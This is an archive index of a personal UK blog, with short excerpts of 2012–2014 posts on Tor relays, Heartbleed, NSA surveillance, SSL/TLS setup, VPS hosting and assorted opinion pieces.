I have been travelling a lot over the last few months (Czech Republic, Scotland, France, Germany, Austria, Slovenia, Croatia, Italy). That travel, plus my catching up on a load of reading is my excuse for the woeful lack of posts to trivia of late. But hey, sometimes life gets in the way of blogging – …
May 30 :- a new app
My newspaper of choice, the Guardian, has for some time produced its own android (and iOS of course) app. I have often used the android app on my tablet to catch up on emerging news items at the end of the day. I also read the BBC news app for the same reason. Yesterday I …
April 16 :- nsa operation orchestra
In February of this year, Poul-Henning Kamp (a.k.a “PHK”) gave what now looks to be a peculiarly prescient presentation as the closing keynote to 2014’s FOSDEM. In the presentation (PDF), PHK posits an NSA operation called ORCHESTRA which is designed to undermine internet security through a series of “disinformation” or “misinformation”, or “misdirection” sub operations. …
April 16 :- more heartbleed
For any readers uncertain of exactly how the heartbleed vulberability in openssl might be exploitable, Sean Cassidy over at existential type has a good explanation. And if you find that difficult to follow, Randall Munroe over at xkcd covers it quite nicely. My thanks, and appreciation as always, to a great artist. Of course, Randall …
April 16 :- pulitzer guardian
The Guardian and the Washington Post have been jointly awarded the Pulitzer prize for public service for their reporting of Edward Snowden’s whistleblowing on the NSA’s surveillance activities. The Guardian reports: The Pulitzer committee praised the Guardian for its “revelation of widespread secret surveillance by the National Security Agency, helping through aggressive reporting to spark …
April 15 :- boot and nuke no more
I was contacted recently by a guy called Andy Beverley who wrote: Hope you don’t mind me contacting you about one of your old blog posts “what gives with dban”. Thought I’d let you know that I forked DBAN a while ago, and produced a standalone program (called nwipe) that will run on any Linux …
April 8 :- heartbleed
This is nasty. There is a remotely exploitable bug in openssl which leads to the leak of memory contents from the server to the client and from the client to the server. In practice this means that an attacker can read 64K chunks of memory on a vulnerable service, thus potentially exposing security critical information. …
March 31 :- the netbook is not dead
I bought my first netbook, the Acer Aspire One, back in April 2009 – five years ago. That machine is still going strong and has seen umpteen different distros in its time. It currently runs Mint 16, and very happily too. The little Acer has nothing on it that I value over much, all my …
February 28 :- the spy in your bathroom
Back in June 2008 I noted Craig Wright had posted to bugtraq reporting a “remote exploitation of an information disclosure vulnerability in Oral B’s SmartGuide management system”. I found it faintly amusing that a security researcher should have been looking for vulnerabities in a toothbrush. I should have known better. A report in wednesday’s on-line …
February 12 :- checking client-side ssl/tls
At the tail end of last year I mentioned a couple of tools I had used in my testing of SSL/TLS certificates used for trivia itself and my mail server. However, that post concentrated on the server side certificates and ignored the security, or otherwise, offered by the browser’s configuration. It is important to know …
February 12 :- policy update
An exchange of emails with Mark over at bsdbox.co a day or so ago made me realise that my privacy policy needed updating. Not, I hasten to add, for any fundamental reason, but simply because a couple of the references in that policy were out of date. I have therefore amended it and version 0.2.0 …
February 11 :- privacy matters
The Open Rights Group here in the UK has been campaigning against mass, unwarranted surveillance by GCHQ since the Snowden revelations first emerged in summer of last year. Two of its current campaigns are: “don’t spy on us” and “the day we fight back“. I have signed both of them. I have also written to …
February 8 :- compare and contrast
Foreign Secretary William Hague is apparently concerned about press restrictions in Egypt. He has reportedly urged the interim Egyptian government to demonstrate commitment to free expression. The press release on the gov.uk website says: Speaking today about increasing restrictions placed upon journalists and the media in Egypt, Foreign Secretary William Hague said: “I am very …
January 22 :- dis-unity
The “cloud” is achingly trendy at the moment and new companies offering some-bollocks-as-a-service (SBaaS) keep popping up all over the ‘net. Personally I am extremely unlikely to use any of the services I have seen, I just don’t trust that particular business model. I checked out the website for one of these companies today following …
January 21 :- backblaze back seagate
In October last year I noted that the Western Digital “Green” drives in my desktop and a new RAID server build looked to be in imminent danger of early failure. That conclusion was based on a worryingly high load-cycle count which a series of posts around the net all attributed to the aggressive head parking …
January 20 :- thrust update
I have just run a search for further evidence of the possible compromise at thrustvps and found threads on webhostingtalk, vpsboard, freevps.us and habboxforum amongst others. All of those comments are from people (many, like me, ex-customers) who have received emails like the one I referred to below. So, I guess thrust /do/ have a …
January 19 :- rage against the machine
I know it is futile to rant about banks. I know also that I should not really expect anything other than crap service from an industry that treats its customers as useful idiots. But yesterday I met with such appalling and unforgiveable stupidity and intransigence that I feel the need to rant here. I have …
January 18 :- thrustvps compromised?
I have not used thrust since my last contract expired. I left them because of their appalling actions at around this time last year. However, today I received the following email from them: From: Admin To: xxx@yyy Subject: Damn::VPS aka Thrust::VPS Date: Sat, 18 Jan 2014 03:28:06 +0000 This is a notification to let you …
January 11 :- strip exif data
I have a large collection of photographs on my computer. And each Christmas the collection grows ever larger. I use digiKam to manage that collection, but as I have mentioned before, storing family photographs as a collection of jpeg files seems counter intuitive to me. Photographs should be on display, or at least stored in …

2013 (88)

December 30 :- http compression in lighttpd
Today I had occasion to test trivia’s page load times. I used the (admittedly fairly dated) website optimization test tool and was surprised to find that it reported that parts of the pages I tested were not compressed before delivery. I have the default compression options set in my lighty configuration file as below: compress.cache-dir …
December 26 :- getting close to the nsa
Since my last post there have been a couple more entrants to the Tor logo competition. Neither, strictly speaking, meets the original requested criterion that they be suitable for inclusion in Tor Project team presentations, but each has its merits. The first image below was posted by “David”. I think it captures rather nicely the …
December 24 :- merry christmas
As I have noted before, 24 December is trivia’s birthday. My first post dates from 24 December 2006 so trivia is seven years old today. As is now becoming traditional I therefore post again today. And as a reflection of the story which has come to dominate trivia over the latter half of this year …
December 14 :- tor boost
Moritz Bartl has just posted some good news. Torservers.net, a volunteer run organisation spread across eight countries which provides high bandwidth Tor servers to the network, has just been awarded $250.000 over two years by the Digital Defenders Partnership. According to Bartl’s press release, with this additional funding: participating Torservers organizations will be able to …
December 12 :- you choose
A letter in today’s Guardian, signed by someone called Paul Brannen, touched a chord. Brannen commented that it was difficut to find anyone today who did not, apparently, support Mandela’s release from Robben Island. Putting that in perspective, he noted that UK membership of the anti-apartheid movement in the 1980s averaged only 8,500. Brannen concludes …
December 10 :- caption needed
This picture, from the french news agency AFP taken at the memorial service for Nelson Mandela, just cries out for a speech or thought bubble caption (or two). Just what is the First Lady thinking whilst her husband poses with Denmark’s Helle Thorning-Schmidt (with our own dear PM trying desperately to get in on the …
December 10 :- an historical perspective
El Reg commentards can get worked up about a whole range of topics. That is one of the reasons I so enjoy reading it. Back in May 2009, El Reg posted an article about the then Home Secretary’s decision to place the right wing US Radio commentator, Michael Savage, on a persona non grata list …
December 10 :- ssl cipher check
My recent explorations of how to strengthen the ssl/tls certificates I use on both trivia and my mail service have given me cause to look for tools to help me test my configuration. The Calomel firefox plugin and sslabs site are very useful for checking HTTPS configurations, but they are fairly specifically aimed at that …
December 8 :- no more akismet
In common with (probably) all wordpress based blogs, trivia has the aksimet plugin in place. Akismet is shipped by default in the base wordpress installation and new users are encouraged to sign up for an API key. On first configuring the blog’s plugins, users are greeted with the following commentary about akismet: Used by millions, …
December 8 :- where are you now?
The ongoing revelations from Snowden continued recently with reporting in the Washington Post about the NSA’s program to track mobile ‘phone location data. Reporting here and elsewhere suggests that the NSA is gathering nearly 5 billion records a day on the whereabouts of cellphones around the world. That reporting, and its obvious implications, reminded me …
December 7 :- TLS ciphers in postfix and dovecot
A recent exchange amongst ALUG email list members about list etiquette resulted in a flurry of postings on a variety of related topics. I posted a flippant comment about top posting, but did so (deliberately) from my Galaxy tab using Samsung’s default email client which actually forces top posting. Steve responded suggesting that I look …
December 3 :- boycott amazon
This time last year I wrote to Jeff Bezos telling him that I was no longer prepared to support a multinational which so arranged its tax affairs that it paid little or no UK corporation tax on turnover estimated (last year) at some £3.3 billion. This year, Margaret Hodge, chair of the UK Parliamentary Public …
December 3 :- data is imaginary. this burrito is real
As usual, Randall Munroe over at xkcd has his own take on the NSA/GCHQ snooping reportage. My thanks as always.
December 2 :- counterpoint the surrealism of the underlying metaphor
Last week, El Reg posted an amusing take on the apparent invasion of the NSA by Management Consultants. Nothing new there then. From personal experience I can confirm that UK Government has been completely overrun with the buggers for years.
November 27 :- necessary and proportionate
Yesterday I received an email from the Open Rights Group asking me to sign an on-line petition set up in collaboration with nearly 300 other organisations. The email said: In 2013, we learned digital surveillance by governments across the world knows no bounds. Their national intelligence and investigative agencies capture our phone calls, track our …
November 26 :- more ninjastiks
In July I noted that a company calling itself Ninjastik had popped up selling what looked to be essentially the Tor Browser Bundle on an 8 Gig stick for $56.95 or a 16 Gig stick for $69.95. As I expected, we have now seen one or two more companies attempting to sell products which leverage …
October 25 :- I’m sure that is not what they meant
Yesterday’s Guardian contained a quarter page advertisement from “hibu” (the company formerly known as Yell, and before that, Yellow Pages). The advertisement showed a picture of a bright red and green fish swimming against a tide of uniformly blue fish. The headline was “Get spotted on all kinds of digital devices”. The ad finished with …
October 25 :- Oliver Stone on PRISM
I am a big fan of Oliver Stone movies. Outside the pages of the Guardian and its sister paper the Observer, the level of comment in the UK on NSA/GCHQ surveillance capability remains bizarrely muted. In the US they are at least having a conversation. Whether that conversation results in any sensible decisions, and then …
October 12 :- wd caviar green load cycle count
Back in January of this year I upgraded my desktop’s hard drive to a 2 TB WD Caviar Green. Not the world’s fastest drive, but quiet, power efficient, and, so I thought, good value for money. I subsequently used two of the same disks in a new build RAID 1 server (which I must get …
October 9 :- Snowden paranoia
A recent exchange on the tor-talk mailing list about conspiracy theories elicited this gem from “Ted Smith” (obviously a Bob Heinlein fan). “One of the more Gibsonesque theories I’ve heard is that Snowden is a CIA operative working to destabilize the NSA’s surveillance system on behalf of the CIA and other elite that feel too …
October 9 :- running out of money
The failure of the US Government to agree a budget with Congress is having some interesting effects. NIST appears to be completely shut down: (Click images for full size). The NSA says “Due to the Government Shutdown, this site is not being updated.” (Though one assumes that they are still being funded….) Whilst the Whitehouse …
October 5 :- that’s completely ludicrous
Glenn Greenwald on Newsnight. The full episode of Newsnight’s report including Greenwald’s interview and comment from Sir David Omand (ex Director GCHQ) can be seen here on BBC’s iplayer. Gordon Corera, the BBC’s Security respondent reports here on the Newsnight episode. As an aside, I was amused by Ross Anderson’s claim that many academics had …
October 5 :- the guardian on tor
My last post noted that the Guardian had posted a series of articles on the Tor network and Snowden’s latest revelations about how the NSA has been attacking that network. All those posts are worth reading, but my favourite is the one by Bruce Schneier explaining how the NSA has attacked Tor users through browser …
October 5 :- good news for tor
The past couple of days have seen a flurry of news stories about Tor. Some of the news has hit the mainstream media, some of it hasn’t. Yet. A couple of day ago, a rather plaintive post to the tor-talk mailing list read: “looking for a way to contact silk road.Site shut down.money at stake.” …
October 2 :- another good reason to avoid the kindle
My thanks as always to xkcd (P.S. Take a look at xkcd 533 and read the comment in the “mouseover” title popup. Then try not to laugh.)
September 25 :- get your own nsa email account
Some enterprising chap, possibly called “Chris Fisher” if the whois record is correct, has registered the domain name nsa.org. He now appears to be selling email accounts on that domain. The accounts are quite pricey too at $142.00 considering that he is only giving 2 Gig of store. Mind you, his FAQ is quite honest. …
September 23 :- just for rob
Shortly after the launch of the new iPhone 5S, my old friend Rob emailed me trying to goad me into writing a post about it. After all, it was made by one of my least favourite companies and it contained a supposedly funky bit of kit in the shape of its fingerprint scanner. Rob pointed …
September 20 :- that’s another password I have to change
Michael Horowitz has posted an interesting article over at Computer world. In it he points out that, by default, most android devices (tablets and ‘phones) routinely ‘phone home to Google to back up Wi-Fi passwords along with other assorted settings. Google sells this option as a convenience to help you regain settings after you upgrade …
September 20 :- RSA says don’t use RSA
A report in wired today says that RSA Security [*] have released an advisory to developer customers noting that the Dual Elliptic Curve Deterministic Random Bit Generation (or Dual EC DRBG) algorithm (the one which is subject to speculation about NSA interference) is the default in one of its toolkits and strongly advised them to …
September 17 :- Naughton’s ten tips
Back in July I commented on one of John Naughton’s “networker” columns in the Observer. Last Sunday, Naughton wrote another nice article titled “10 ways to keep your personal data safe from online snoopers”. Naughton begins the article by recalling that Tim Berners-Lee called the technology he devised a “web” of interrelated documents. He notes …
September 12 :- add ssl to lighttpd server
For some time now I have protected all my own connections to trivia with an SSL connection. I do this to protect my user credentials when managing trivia’s content or configuration. In fact my server is configured to force any connection coming from my IP address to a secured SSL connection so that I cannot …
September 11 :- neil doesn’t get it
A couple of days ago I received an email from an old friend (let’s call him “Geoff”) which said: Following last Friday night discussion I have created a facebook page as a shared repository of our photos etc. I have kickstarted with most of mine. You can either make yourself a friend of this page …
September 10 :- tor node upgrade
I have switched my tor node to the experimental branch and it is now running version 0.2.4.17-rc. The huge load on the network seen since the botnet starting using it on about 19 August last has forced the tor project team to recommend that all relay operators move to the 0.2.4 branch (and this release …
August 31 :- totally not israel
Collin Anderson on tor-talk posted a nice graphic showing tor usage in the top 50 states since the appearance of the huge rise in the number of tor clients on the network. With the exception of Syria, the slopes of all those graphs looks much the same. But as a few people have noticed, the …
August 31 :- vnstat on my tor node
My last post showed the huge growth in the number of Tor clients since 19 August. Despite much speculation and discussion on the Tor email lists there is still, as yet, no definitive consensus on what is causing the rise. Many commentators seem to favour the botnet theory. Personally I’m still puzzled by the apparent …
August 27 :- tor users up
Along with the longer term upward trend in the usage in tor I noted below, there has now been a large, rapid rise in the number of connected tor clients in the last week or so. The tor usage statistics graphs show a dramatic doubling of daily connected clients (from around the 500,000 mark to …
August 25 :- openPGP usage
Over at the the cypherpunks mail list, one Tony Arcieri posted a graphic showing an interesting rise in the number of OpenPGP keys registered on the SKS keyserver in the last month or so. The graphic comes from the SKS statistics page. The overall trend is clearly upwards, and has been for some time, but …
August 23 :- thank you citizen
Imagine Dave’s censorship (^W) surveillance program outsourced to G4S.
August 23 :- untrusted dod certificate
Chris Williams over at El Reg posted a nice article about the kind of crypto best practice you need to follow if you care about privacy. The article questions the wisdom of using David Miranda as what Williams calls a “data mule” to carry physical electronic media (possibly) containing sensitive data through Heathrow and goes …
August 22 :- tor usage on the rise
A couple of weeks ago I noted that the release of tails 0.20 seemed to be popular – at least if the traffic on my mirrors was anything to go by. The statistics published by the Tor project itself show an interesting rise in (probable) Tor usage since June. The graphic shows that the number …
August 20 :- aunty doesn’t get it
The BBC has today commented on the Guardian story about David Miranda’s detention for nearly nine hours at Heathrow under Schedule 7 of the UK Terrorism Act 2000. The BBC’s on-line report ends with a web feedback form asking: Have you been detained under schedule 7 of the Terrorism Act 2000 at a British airport, …
August 12 :- porn over postie
I was browsing the RevK’s blog (originally brought to my attention by David) this morning and came across this gem. It would seem that some UK households have been receiving unsolicited pornographic DVDs through the post. As the RevK says: Well, obviously the Royal Mail need a default opt-in adult content filtering in place for …
August 10 :- tor users under attack
The Tor network does not just provide anonymous internet access, it also provides for so-called hidden services. These services are not visible outside the Tor network and are only reachable over Tor. The servers are given Tor specific addresses of the form “xyz123.onion” (actually, the addresses are a little more complicated than that because the …
August 9 :- lavabit dead
I run my own mail server for a number of reasons. And I rarely regret that decision. However, there have been occasions in the past when relying on a single mail provider (even when that provider is myself) has proven problematic. The first problem arose several years ago when the ISP which I use for …
August 3 :- security failure at digital ocean
This morning I received an email from Digital Ocean titled “Avoid Duplicate SSH Host Keys”. The email said: “If you have created an Ubuntu Droplet or snapshot prior to July 2nd, DigitalOcean recommends regenerating the SSH host keys. Droplets based on standard images now create unique SSH host keys.” (This, of course, implies that they …
July 28 :- repeat after me – snowden is not the story
John Naughton has an interesting column in his “networker” series in today’s Observer. In it he laments the fact that the majority of the world’s mainstream media seem more intent on reporting on Snowden the man than on what Snowden has revealed. He starts: “Repeat after me: Edward Snowden is not the story. The story …
July 26 :- soldier available cross magnet
I am in the process of changing passwords on a bunch of different systems/applications and have been pondering my algorithms, so to speak. Like my friend David, I have an internal model of varying password schemes which I can use in different places. This means that I can happily pick a password for a low …
July 26 :- how not to hide
I have written several times in the past about the tedious crud which hits my blog spam filters. Of late I have seen an increase in spam which looks, at first sight, plausible comment, but on closer inspection turns out to have the usual links to sites flogging cheap copies of western luxury goods. A …
July 23 :- this one is for dave
Our dear PM seems to have caved in to the obsessions of mumsnet and the daily mail. As someone in the grauniad pointed out today, at least we can be sure that Lynton Crosby has no connections to the pornography industry. Here’s one of my favourites….. It is interesting that whilst Dave thinks pornography on …
July 21 :- ubuntu forums compromised
Right now (21.00 today), the ubuntu forums site says it is “down for maintenance”. It appears to have been down since yesterday. The site reports: There has been a security breach on the Ubuntu Forums. The Canonical IS team is working hard as we speak to restore normal operations. This page will be updated regularly …
July 17 :- save your money – just use tails
I suppose it was inevitable that the Snowden revelations would lead to greater interest in privacy and anonymity. I applaud that. I suppose it was also inevitable that there would be a rash of commercial products emerging from both “entrepreneurs” and the more established “security” companies to take advantage of that increased interest. That, I …
July 15 :- nokia lumia 1020
I have been a Nokia fan for many years. Like many people, I guess, my first mobile phone was made by Nokia. I have certainly owned more Nokia mobiles than those from any other single company. One of my favourite mobiles (which I still own as a backup) is the 6500 slide. I also still …
July 15 :- tor and https at eff
For those of you unsure of what might leak where and when using tor and/or https to protect your browsing, there is a useful interactive graphic on the EFF site. As EFF point out, the potentially visible data includes: the site you are visiting, your username and password, the data you are transmitting, your IP …
July 14 :- base64 gets past omani deep packet inspection
Back in December 2011 Roger Dingledine and Jacob Applebaum of the torproject gave a talk at the 28th Chaos Communication Congress titled “How governments have tried to block Tor“. That talk focused on the arms race between privacy campaigners and technologists working on tor and the actions of oppressive governments. The presentation gave many examples …
July 9 :- bizarre searches
Today I stumbled across what appears to be a Vietnamese search engine called coccoc. The front page shows the typical search box as pioneered by google, but underneath that box is some text which seems to comprise text terms, mathematical formulae and (perhaps) chemical symbols. Sure enough, passing that page through microsoft’s on-line translator at …
June 24 :- more irony
This is lovely. On a whim I have just checked the DNS for the Guardian. I got the following results: MX records: guardian.co.uk mail exchanger = 30 guardian.co.uk.s200b1.psmtp.com. guardian.co.uk mail exchanger = 40 guardian.co.uk.s200b2.psmtp.com. guardian.co.uk mail exchanger = 10 guardian.co.uk.s200a1.psmtp.com. guardian.co.uk mail exchanger = 20 guardian.co.uk.s200a2.psmtp.com. So – all four MX records point to SMTP …
June 24 :- ironic advert
There is a wonderful advert in today’s Guardian. Most of page 6 is taken up with a Microsoft advert saying: “Aston Martin is now on Office 365 – your complete office in the cloud.” Right. An advert for a cloud based office suite from a major US software supplier. Tough sell. Especially in the Guardian.
June 24 :- facebook login searches
About 18 months ago I posted a note objecting to facebook’s apparent new policy of insisting that its users hand over a mobile phone number in order to continue using its “service”. In that post I included a png image which I labelled “facebook-login.png”. Oddly enough I note that over the past two weeks my …
June 17 :- please sign here
This post has nothing whatsoever to do with the usual topics I cover here, but this is my blog so hey I can write what I like. My family has a proud tradition of working in the UK public sector. Despite multiple machinery of government changes by administrations of both major political colours thoughout my …
June 17 :- trivial traffic bump
I normally get around 1000 to 1300 hits a day (or 32,000 to 40,000 per month) on trivia. Not a huge hit rate, but consistent and on a slight upward trend over the past year. Today I have seen over double that – most of it this morning. Between 05.30 and 07.00 local time my …
June 16 :- prism opt-out
In all the noise on the ‘net about the alleged NSA PRISM program, this new site offers an amusing, but nonetheless useful, list of free alternatives to proprietary software. In part the site sort of misses the point about PRISM, but it is still good to see someone taking the time to point out that …
June 15 :- Edward Snowden
The revelations of the past week or so have been interesting to me more for what they haven’t said, than what they have. There are a few points arising from Snowden’s story which puzzle me and which don’t seem to have been addressed by the mainstream media – at least not the ones I read. …
June 13 :- microsoft windows is conspicuous by its absence
At DigitalOcean – or so says Netcraft in its latest write up on their astonishingly fast rise over the last six months. Apparently, in December 2012, DigitalOcean had just over 100 web-facing computers whilst in June 2013, Netcraft found more than 7,000. That is some growth. But I’m not surprised. I make no apology for …
June 12 :- blimey that was quick
The cable tester I ordered at around 17.00 yesterday arrived in this morning’s post. And jolly good it is too for such a ridiculously cheap item. As expected, the instructions are amusing but pretty clear for all that. It is easy to use and feels fairly robust, despite the price. Now the results. I am …
June 11 :- Emails from PayPal will always address you by your first and last name
Except when they don’t. I have just received a wonderful email from paypal headed “Tim Harrison, your monthly activity is now ready to view online.” Way to go guys. That really inspires confidence.
June 11 :- blimey that is cheap
David’s comment to my post about my gigabit ethernet upgrade prompted me to look for a cheap LAN tester so that I could check continuity through the RJ45 coupler that had caused me difficulty. It would also be handy to be able to check the box full of old patch cables that I seem to …
June 10 :- PRISM – we had it first
I can exclusively reveal that the UK government had a PRISM database long before those upstarts in the USA. In the late 1970s I worked in the Statistics Division of what was then the UK Civil Service Department. We used a database of Civil Service personnel called PRISM (Personnel Record Information System for Management). I …
June 10 :- slow gigabit ethernet
I have been making some changes to my domestic network of late which I will write about later. However, one of the main changes has been an upgrade from 10/100 switches to gigabit – mainly to improve throughput between my central filestore and desktop machines. For cosmetic reasons (and to keep my wife happy) I …
June 10 :- Iain Banks
I first met Frank (the protagonist and narrator in “The Wasp Factory”) in about May or June 1990. I had taken my bike (then an FJ1200) in to the dealer for a routine service and tyre change and had wandered in to a local newsagent to pick up a magazine or two to read whilst …
May 29 :- another good reason not to buy one
Back in November 2011 I wrote about the TP-Link TL-SC3130G IP camera. I had some trouble getting that device to work properly over wifi so I returned it and got my money back. Today, Core Security released an advisory about this device (and several others from TP-Link) about a remotely exploitable vulnerability arising from “hard-coded …
May 27 :- lighttpd graceful shutdown
I run two tails mirrors. One in NYC, the other in SanFrancisco. They each serve around 2-3 TiB of data per month. In common with my other servers, occasionally I need to interrupt those VMs in order to effect a system upgrade. I had to do this very recently with my upgrade of all my …
May 27 :- LMGTFY is the new RTFM
Back in the day, questions aimed at technical mailing lists or usenet news sometimes attracted the response “RTFM”. Personally, I always found that sort of reply both rude and somewhat arrogant. Often the questioner was obviously new to the topic under discussion and really wanted to know how to solve his or her particular problem. …
May 9 :- digitalocean do it again
I can’t believe these guys. Not only do I get unlimited traffic on a 1 Gig network (now at three locations – I have a VPS in each of Amsterdam, New York and San Francisco) for peanuts, but they have just given me a $5.00 credit (i.e. one month free for one of the servers). …
April 29 :- too close to the logo
I came across this entry on the blog of a company called Conformal today. The company purports to specialise in open source security products and the blog entry was about the logo for their secure online backup product called “cyphertite”. Apparently the marketing discussions concentrated on “artfully applied make-up, designer clothes, and a narrative to …
April 27 :- cool
I have just been notified that I am eligible for a Tor T shirt. How cool is that? This is a Tor Weather Report. Congratulations! The node 0xbaddad (id: C332 113D F99E 367E 4190 424C E825 057D 9133 7ADD) you’ve been observing has been running for 61 days with an average bandwidth of 2278 KB/s,which …
April 10 :- this is not a political blog
but I cannot let her passing go unremarked. Yesterday even the Guardian devoted 15 pages, plus the centre spread and a separate 16 page supplement to Margaret Thatcher. The usual suspects on the right wing tabloids were, predictably, particularly revisionist and swivel eyed. We are in danger of letting the death of one ex prime …
April 1 :- Debian iz free operatin sistem (OS) 4 ur computr
For a moment today I had the awful feeling that the debian website had been compromised by an illiterate 14 year old. The front page had been changed and contained such pearls as: “Debian providez moar than pure OS: it comez wif ovar 29000 packagez” and “Peeps hoo use sistems othr than Intel x86 shud …
March 27 :- gchq recruitment site stores plaintext passwords
I can’t resist this. El Reg today points to a blog post by a guy called Dan Farrall who has commented on his experience of receiving a plain text reminder of his GCHQ recruitment site password by email after filling out its forgotten password form. Farrall’s blog post is worth reading. Whilst he acknowledges that …
March 26 :- using an ssh reverse tunnel to bypass NAT firewalls
There is usually more than one way to solve a problem. Back in October last year I wrote about using OpenVPN to bypass NAT firewalls when access to the firewall configuration was not available. I have also written about using ssh to tunnel out to a tor proxy. What I haven’t previously commented on is …
March 13 :- impolite spam
Most blogs get hit by spammers aiming to get their URLs posted in the comments section. Like most wordpress based blogs, I use the default Akismet antispam plugin. I don’t like it, I don’t like the fact that it is shipped by default, I don’t like the fact that it is increasingly becoming non-free (as …
February 28 :- touching update
I have recently upgraded the internal disk on my main desktop from 1TB to 2TB. I find it vaguely astonishing that I should have needed to do that, but I do have a rather large store of MP4 videos, jpeg photos and audio files held locally. And disk prices are again coming down so the …
January 25 :- now that is what an isp should be like
In my post about the astonishing speed of the DigitalOcean network compared to the appalling service I was getting at ThrustVPS, I mentioned that the free bandwidth model didn’t look sustainable in the long run. Indeed, DigitalOcean told me themselves that they would move to a more normal commercial model when they had a better …
January 14 :- a long time ago in a galaxy far far away
The ascii art in sl was quite cute, this is far more elaborate. To see it in action, telnet to towel.blinkenlights.nl. Why waste your time browsing rubbish websites – fire up a terminal session and waste even more time with telnet. More fun places to try can be found at telnet.org.
January 13 :- what a difference a gig makes
During the new year period when I was having a little local difficulty with thrustVPS, I started looking around for alternative providers. My first port of call was lowendbox. That site lists many VPS providers and is often used by suppliers to advertise “special deals” for short periods. Indeed, I think I intially found thrust …
January 11 :- dovecot failure
Today I ran a routine apt-get update/apt-get upgrade on my mailserver and dovecot failed afterwards. This is a “bad thing” (TM). No routine software upgrade should cause a failure of the kind I experienced. Two things happened which should not have done. Firstly the SSL certificates appeared to have changed (which meant that mail clients …
January 10 :- my top ten
I have been collecting statistics on trivia’s visitors using counterize for some time. The lastest version, which I have been using for about five months now, allows the user to graph, and publish, site statistics in a nice form. I have today created a new page (listed under “longer trivia” on the right) called trivial …
January 7 :- thrust respond
This afternoon I received an email from Andrew Sinclair at thrustVPS in response to my post below. In the interests of openness I have added his email as a comment to the post. My thanks to Andrew for that email. It is just a shame that I did not get such a helpful response in …
January 6 :- lies, damned lies and VPS traffic
I had an interesting time over the new year period. For some time now I have run a tor node on a VPS at ThrustVPS. I also run my tails mirror on a VPS at the same provider. Their network has always struck me as pretty poor (response times to ssh login is particularly bad, …

2012 (66)

December 24 :- another anniversary
This time last year I noted that christmas eve was trivia’s birthday. Guess what, it’s that time of year again, and what am I again doing? Merry Christmas to all^h^h^h both my readers. Mick
December 19 :- no sites are broken
Or so the wordpress post at wordpress.org would have us believe. However, I think there is flaw in both their logic, and their decision making here. I spotted the problem following an upgrade to wordpress 3.5 on a site I use. One of the plugins on that site objected to the upgrade with the following …
December 14 :- password theft
I have mentioned odd postings to bugtraq before. Today, one “gsuberland” added to the canon with a gem about the Netgear WGR614 wireless router. He says in his post that he has been “reverse engineering” this router. Now for most bugtraq posters (and readers) this would mean that he has been disassembling the firmware. But …
December 12 :- horse-terity
Steve Bell’s If… cartoon in yesterday’s Guardian was wonderful, and wonderfully opportune in its timing given my letter to Jeff Bezos. I wanted to include a copy here so I emailed Steve this morning asking for permission. Astonishingly he replied, saying yes, only minutes after I had sent my request (clearly he wasn’t very busy…..) …
December 11 :- moonlighting in parliament
Yesterday I followed a link from Duncan Campbell’s Reg article on the joint parliamentary committee’s scrutiny of the Communications Data Bill referred to in my post below. That link took me to the UK Parliamentary website which I confess I haven’t visited in a while. I was initially irritated that the video format used on …
December 10 :- tor and the UK data communications bill
As a Tor node operator, I have an interest in how the draft UK Data Communications Bill would affect me should it be passed into law. In particular, I would be worried if Tor ended up being treated as a “telecommunications operator” within the terms of the Act (should it become an Act). Fortunately, Steven …
December 7 :- an open letter to Jeff Bezos
Dear Jeff You don’t know me(*), but I used to be a customer of yours. I say “used to be” because I am no more, nor shall I be again. I have today closed my Amazon account (and I must say that you do not make that process very easy). You may be aware that …
November 29 :- why I read el reg
The Register today carries a story about the discovery of a truly massive black hole named “SDSS J1106+1939” at the center of a dying galaxy. That black hole is reported to be emitting energy “equivalent to two trillion times the power output of the sun.” The story itself is classic Reg material and is covered …
November 27 :- what gives with dban?
Recently I have been faced with the need to wipe a bunch of hard disks removed from some old (indeed, in one or two cases, very old) PCs before disposal. Normally I would have used DBAN to do this because it gives me a nice warm feeling that I have taken all reasonable steps and …
November 22 :- why mysql crashed
Update to previous post According to bytemark, a bug in the bigV system caused some disk corruptions for a small number of customers. It seems that I was just one of the unlucky ones. I am assured that all is now well.
November 16 :- forcing innodb recovery in mysql
Today I had a nasty looking problem with my mysql installation. At first I thought I might have to drop one or more databases and re-install. Fortunately, I didn’t actually have to do that in the end. I first noticed a problem at around 15.45 today when I couldn’t collect my mail. My mail system …
October 27 :- using openvpn to bypass NAT firewalls
OpenVPN is a free, open source, general purpose VPN tool which allows users to build secure tunnels through insecure networks such as the internet. It is the ideal solution to a wide range of secure tunnelling requirements, but it is not always immediately obvious how it should be deployed in some circumstances. Recently, a correspondent …
October 23 :- book theft
Back in August 2011. I wrote about my preference for real books over the emerging electronic version. In that post I noted that Amazon had famously deleted copies of Orwell’s 1984 and Animal Farm purchased by some customers. It now appears that Amazon has gone even further and deleted the entire contents of a Norwegian …
October 20 :- grep -R doesn’t search amazon
Towards the end of last month, following the release of the unity lens in ubuntu which searches amazon, “akeane” posted a bug report on launchpad complaining that “grep -R doesn’t automatically search amazon”. In his first posting he said: Dear “root owning” overlords, When using grep recursively I only get local results: grep -R fish_t …
October 14 :- ubuntu is free and it always will be
But we may ask you for a contribution. Canonical have made another move in what is beginning to look ever more like a monetary commercialisation of ubuntu. On 9 October 2012, they added a new page to the “download” section titled “Tell us what we should do more……and put your money where your mouth is …
October 13 :- password lunacy
One of my fixed term savings accounts matured at the end of last week. This means that the paltry “bonus” interest rate which made the account ever so slightly more attractive than the pathetic rates generally available 12 months ago now disappears and I am left facing a rate so far below inflation that I …
October 5 :- a positive response
Whenever my logs show evidence of unwanted behaviour I check what has happened and, if I decide there is obviously hostile activity coming from a particular address I will usually bang off an email to the abuse contact for the netblock in question. Most times I never hear a thing back though I occasionally get …
September 9 :- iptables firewall for servers
I paid for a new VPS to run tor this week. It is cheaper, and offers a higher bandwidth allowance than my existing tor server so I may yet close that one down – particularly as I recently had trouble with the exit policy on my existing server. In setting up the new server, the …
August 28 :- Neil Armstrong
I suppose it is inevitable that your heroes die as you get older. I was just finishing my O’ levels when Armstrong took his “one small step”. I can remember clearly looking up at the moon on that day in 1969 in awe that there were two human beings on that satellite at the very …
August 28 :- my russian fanbase
My readership in Russia appears to be growing. For some reason I seem to be getting a lot of hits from Russian domains on my posts and pages about egroupware. And my referer logs show a lot of inbound connections from domains in the .ru TLD. Those websites I have checked appear to be technical, …
August 23 :- tails has not been hacked
I run a tails mirror on one of my VMs. Earlier this week there was a flurry of anxious comment on the tails forum suggesting that the service had been “hacked”. Evidence pleaded in support of that theory included the facts that file timestamps on some of the tails files varied across mirrors, one of …
August 21 :- you are at 2001:db8::ff00:42:8329.
